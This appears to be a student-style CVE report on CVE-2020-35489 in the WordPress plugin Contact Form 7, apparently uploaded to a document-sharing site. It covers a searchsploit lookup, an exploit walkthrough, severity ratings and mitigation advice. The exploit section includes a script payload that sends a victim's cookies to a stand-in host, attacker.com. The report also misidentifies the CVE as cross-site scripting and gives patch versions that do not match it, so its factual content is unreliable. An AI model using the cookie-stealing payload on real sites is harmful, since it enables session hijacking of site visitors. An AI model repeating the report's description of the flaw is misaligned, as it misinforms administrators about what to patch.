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Cve 2020 35489

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Ali Alharthi
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36 views7 pages

Cve 2020 35489

Uploaded by

Ali Alharthi
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
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CVE Report: Exploit for WordPress Plugin "Contact Form 7"

1. Steps Taken:

● Plugin Chosen: WordPress Plugin "Contact Form 7"

I used searchsploit to search for any known


vulnerabilities associated with the "Contact Form 7"
plugin. The following command was used:
bash
searchsploit "Contact Form 7"

●
● The search returned the CVE-2020-35489
vulnerability, a Cross-Site Scripting (XSS) issue
in the plugin. This vulnerability allows an attacker
to inject malicious JavaScript into a website form,
which is executed in the victim’s browser when
they interact with the form.

2. CVE Description:

● CVE ID: CVE-2020-35489


● Vulnerability Type: Cross-Site Scripting (XSS)
● Affected Software: WordPress Plugin Contact
Form 7 (version 5.2.1 and earlier)
● Description:
○ The vulnerability exists in Contact Form 7 due
to inadequate input sanitization. Specifically,
the plugin does not properly validate or
sanitize the user-submitted data (like the
user's name, email, or message) before
storing it or rendering it on the web page.
○ Attackers can exploit this issue by injecting
malicious JavaScript into the form fields. When
a victim interacts with the form or views the
results (e.g., the form submission is displayed
on the page), the malicious script is executed
in their browser.
○ The malicious JavaScript could steal session
cookies, perform actions on behalf of the user,
or redirect the victim to a malicious website.

3. Exploit Details:

The exploit works as follows:


1. Crafting the Payload:
○ The attacker creates a malicious JavaScript
payload that can be injected into one of the
input fields (for example, the "Name" field) of
the Contact Form 7 form.
Example payload:
html
<script>alert('XSS Exploit');</script>

2.
3. Submitting the Form:
○ The attacker submits the form with the payload
in the "Name" or another field, such as
"Message" or "Email."
4. Victim Interaction:
○ When a victim visits the form submission page
or interacts with the form in any way (e.g.,
viewing the submission), the JavaScript
payload gets executed in their browser. In the
example above, the victim would see an alert
box saying "XSS Exploit."
5. Potential Attack Scenarios:
○ Session Hijacking: The attacker could use
more advanced JavaScript to steal the session
cookie of the victim, potentially allowing them
to hijack the user session.
Example payload to steal cookies:
javascript
<script>document.location="http://attacke
r.com/stealcookie?cookie=" +
document.cookie;</script>

■
○ Defacement or Phishing: The attacker could
manipulate the form’s response to include fake
content, such as a phishing link that could
deceive the victim into revealing sensitive
information.

4. Impact or Severity:

● High. If exploited, this vulnerability


Risk to Confidentiality:

could allow the attacker to steal sensitive user


data, including session cookies, authentication
tokens, or other private information.
● Risk to Integrity: Medium. The attacker could
manipulate the content displayed on the website,
such as redirecting users to phishing pages or
injecting fake form data.
● Risk to Availability: Low. The exploit does not
directly affect the availability of the website or
service, but it could disrupt user experience and
confidence in the website.
● Severity Rating: High due to the potential for
remote exploitation and the ability to steal sensitive
data, execute arbitrary code in users' browsers,
and manipulate web pages.
● Exploitation: The exploit can be executed by
anyone with access to the form submission
functionality. There is no need for the attacker to
have administrative privileges on the WordPress
site, making it easier to exploit by low-level
attackers.

5. Mitigation:

● The issue was patched in later


Update the Plugin:

versions of Contact Form 7. Website administrators


should update to the latest version of the plugin
(version 5.2.2 or higher) to avoid this vulnerability.
● Sanitize Input Data: Always ensure that user
inputs are sanitized and validated properly. This
prevents malicious code from being injected into
the website.
● Use a Web Application Firewall (WAF): A WAF
can detect and block attempts to exploit known
vulnerabilities, providing an additional layer of
protection.
● Security Best Practices: Ensure that WordPress
and all plugins are updated regularly, and use
security plugins to further harden the website.

6. Conclusion:

The CVE-2020-35489 vulnerability in the Contact


Form 7 plugin for WordPress is a significant
Cross-Site Scripting (XSS) issue. This flaw allows
attackers to inject malicious JavaScript into web forms,
which can then be executed in victims' browsers,
leading to data theft, session hijacking, and other
malicious activities.
Recommendation: It is essential for WordPress
administrators using Contact Form 7 to update to the
latest version immediately and follow best practices for
input sanitization. Regular security audits should also
be conducted to identify and patch any potential
vulnerabilities.

Summary:

● Plugin: Contact Form 7 (WordPress)


● Vulnerability: Cross-Site Scripting (XSS)
● CVE ID: CVE-2020-35489
● Severity: High
● Impact: Session hijacking, data theft, defacement,
malicious redirection.
● Fix: Update the plugin to version 5.2.2 or higher.

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